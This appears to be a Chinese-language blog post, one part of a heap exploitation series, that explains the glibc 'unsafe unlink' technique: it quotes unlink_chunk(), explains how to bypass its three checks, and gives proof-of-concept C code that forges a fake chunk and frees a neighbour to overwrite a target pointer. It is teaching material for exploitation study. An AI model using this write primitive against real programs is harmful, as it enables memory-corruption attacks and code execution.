Skip to main content

Unsafe Unlink

·2 mins· loading · loading · ·
hokak
Author
hokak
need more sleep
Table of Contents
Heap Exploitation - This article is part of a series.
Part 10: This Article
版本latest
效果使目標ptr從指向UAF chunk改為ptr-0x18

unlink的目的為把空閒的heap從雙向陣列中拿出來,這幾種狀況會觸發:

  1. malloc()
    • 當在剛好大小符合的 large chunk 中取出 chunk 時
    • 當從比請求大小大的 bin 中取出 chunk 時
  2. free(), malloc_consolidate()
    • 合併前後freed chunk
  3. relloc()
    • 合併前向freed chunk

unlink_chunk()#

unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
    {
      if (p->fd_nextsize == p)
        fd->fd_nextsize = fd->bk_nextsize = fd;
      else
        {
          fd->fd_nextsize = p->fd_nextsize;
          fd->bk_nextsize = p->bk_nextsize;
          p->fd_nextsize->bk_nextsize = fd;
          p->bk_nextsize->fd_nextsize = fd;
        }
    }
      else
    {
      p->fd_nextsize->bk_nextsize = p->bk_nextsize;
      p->bk_nextsize->fd_nextsize = p->fd_nextsize;
    }
    }
}

目的
#

unsafe unlink的目標為利用這段unlink_chunk()中的

fd->bk = bk;
bk->fd = fd;

可以達成任意讀寫

三個check
#

unlink_chunk()中有三段檢查:

  1. 檢查p->fd->bk == p && p->bk->fd == p

    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
    
  2. 檢查當前chunksize是否為下一個chunk的prev_size

    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
    
  3. 檢查非smallbin的chunk,fd_nextsizebk_nextsize的完整性

    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
        if (p->fd_nextsize->bk_nextsize != p|| p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");
    

初始化
#

我們希望這些chunk的大小會被放到unsorted bin,而不是fastbin或tcache

uint64_t *ptr0, *ptr1;
ptr0 = (uint64_t *)malloc(0x410);
ptr1 = (uint64_t *)malloc(0x410);

target = ptr0;

printf("chunk_1: %p chunk_2: %p\n", ptr0, ptr1);
printf("target: %p\n\n", &target);

這是最初始chunk的狀態

alt text

bypass第一個check
#

現在要做的是,偽造一個fake_chunk在chunk_1 + 0x10
接著把fake_chunk->fd 設為target - 0x18
把fake_chunk->bk 設為target - 0x10

target[2] = (uint64_t)(&target - 0x3);
target[3] = (uint64_t)(&target - 0x2);  

alt text

然後可以bypass第一個check,因為x->bk 會相等於x[3]x->fd會等同於x[2]
alt text

bypass第二個和第三個check
#

/* fake a chunk at chunk_1 + 0x10 */
target[0] = 0x0;     // fake_chunk prev size
target[1] = 0x410;   // fake_chunk size

/* unset "PREV_INUSE", faking chunk_1 as freed */
ptr1[-2] = 0x410;    // chunk_2 prev size
ptr1[-1] = 0x420;    // chunk_2 size (can be done with a bug like a heap overflow)
target[4] = 0x0;     // fd_nextsize

alt text

free
#

成功觸發了unlink,執行BK->fd = FD,成功達成目標

alt text

Heap Exploitation - This article is part of a series.
Part 10: This Article